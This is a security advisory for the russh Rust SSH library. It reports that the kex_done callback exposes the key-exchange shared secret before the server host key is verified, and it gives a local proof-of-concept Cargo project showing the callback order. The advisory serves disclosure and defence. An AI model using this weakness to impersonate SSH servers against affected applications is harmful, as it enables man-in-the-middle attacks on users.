GHSA-9264-jvgf-6w2f: russh kex_done: Shared-secret callback runs before server host-key verification

Summary

A malicious SSH server whose host key is rejected can still cause russh's client::Handler::kexdone() callback to execute with the raw key-exchange shared secret. Applications using the callback for its documented protocol-bridging purpose may derive keys, initialize a secondary data channel, or perform another externally visible action before russh calls checkserverkey() and rejects the server.

Details

During the initial key exchange, russh calls kexdone() immediately after the server proves possession of the presented host key, but before the application decides whether that key belongs to the intended server:

rust let sharedsecret = newkeys.kex.sharedsecretbytes(); handler .kexdone(sharedsecret, &newkeys.names, session) .await?;

// Initial KEX only checks trust afterwards. if let Some(certificate) = serverhostcertificate { if !handler.checkserverkey(&certificate.into()).await? { return Err(crate::Error::UnknownKey.into()); } } else if let Some(serverhostkey) = serverhostkey { let check = handler.checkserverkey(&serverhostkey.into()).await?; if !check { return Err(crate::Error::UnknownKey.into()); } }

This is in russh/src/client/mod.rs at lines 2036-2078 of commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.

The API documentation describes checkserverkey() as the important trust decision that prevents man-in-the-middle attacks. It describes kexdone() as the callback for deriving keys for secondary encrypted channels. The feature request that introduced the callback specifically lists VPN-over-SSH, UDP data planes, file transfer, and custom enterprise transports as intended uses.

Cryptographic verification of the KEX signature does not establish peer identity: an attacker operating its own SSH server can always produce a valid signature with its own host key. Identity is established only when checkserverkey() accepts that key or certificate.

Expected behavior

For the initial key exchange, checkserverkey() should accept the server identity before kexdone() exposes the shared secret for secondary-channel initialization.

Actual behavior

kexdone() runs first. An untrusted server can therefore trigger application-defined secondary-channel actions even though checkserverkey() subsequently rejects it with UnknownKey.

The callback was introduced by commit 500bef1eccc1c48ac674e2a262aa7887777431eb and is present from v0.55.0 through current v0.65.0.

Proof of concept

The following self-contained Cargo project starts a local russh server with a fresh, untrusted host key. The client models the documented bridge use case by exporting the shared secret in kexdone(), while checkserverkey() rejects the server. It asserts both the failed connection and the callback order.

Create an empty directory and add Cargo.toml:

toml [package] name = "russh-kex-before-host-trust-poc" version = "0.1.0" edition = "2024"

[dependencies] rand = { version = "0.10", features = ["threadrng"] } russh = "=0.65.0" tokio = { version = "1", features = ["macros", "net", "rt-multi-thread"] }

Create src/main.rs:

rust use std::sync::{Arc, Mutex};

use russh::keys::{Algorithm, PrivateKey, PublicKeyOrCertificate}; use russh::{Names, client, server};

#[derive(Clone)] struct TestServer;

impl server::Handler for TestServer { type Error = russh::Error; }

#[derive(Clone)] struct RejectingClient { events: Arc<Mutex<Vec<&'static str>>>, exportedsecret: Arc<Mutex<Option<Vec<u8>>>>, }

impl client::Handler for RejectingClient { type Error = russh::Error;

async fn kexdone( &mut self, sharedsecret: Option<&[u8]>, names: &Names, session: &mut client::Session, ) -> Result<(), Self::Error> { self.events.lock().unwrap().push("kexdone");

// Model a bridge exporting KEX material to a secondary protocol. self.exportedsecret.lock().unwrap() = sharedsecret.map(ToOwned::toowned); Ok(()) }

async fn checkserverkey( &mut self, serverpublickey: &PublicKeyOrCertificate, ) -> Result<bool, Self::Error> { self.events.lock().unwrap().push("checkserverkey"); Ok(false) } }

#[tokio::main] async fn main() { let mut serverconfig = server::Config::default(); serverconfig.inactivitytimeout = None; serverconfig .keys .push(PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap()); let serverconfig = Arc::new(serverconfig);

let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); let address = listener.localaddr().unwrap(); tokio::spawn(async move { let (stream, ) = listener.accept().await.unwrap(); let = server::runstream(serverconfig, stream, TestServer).await; });

let events = Arc::new(Mutex::new(Vec::new())); let exportedsecret = Arc::new(Mutex::new(None)); let client = RejectingClient { events: events.clone(), exportedsecret: exportedsecret.clone(), };

let result = client::connect( Arc::new(client::Config::default()), address, client, ) .await;

println!("connection accepted: {}", result.isok()); println!("callback order: {:?}", events.lock().unwrap()); println!( "secret exported before rejection: {}", exportedsecret.lock().unwrap().issome() );

assert!(matches!(result, Err(russh::Error::UnknownKey))); asserteq!( events.lock().unwrap().asslice(), &["kexdone", "checkserverkey"] ); assert!(exportedsecret.lock().unwrap().issome()); }

Run:

sh cargo run --quiet

Observed with russh v0.65.0:

text connection accepted: false callback order: ["kexdone", "checkserverkey"] secret exported before rejection: true

The connection fails with russh::Error::UnknownKey, but the security-sensitive callback and its modeled external side effect have already occurred.

Impact

Applications overriding kexdone() to bootstrap a secondary encrypted transport are affected. An unauthenticated attacker who can impersonate the SSH endpoint can complete KEX with an attacker-owned host key and trigger secondary channel initialization before that key is rejected. Depending on the bridge, this can expose early secondary-channel data or make the application act on a session established with an untrusted peer.

Ordinary clients that leave kexdone() at its no-op default, or implementations that independently defer all callback-derived actions until host trust has been confirmed, are not affected.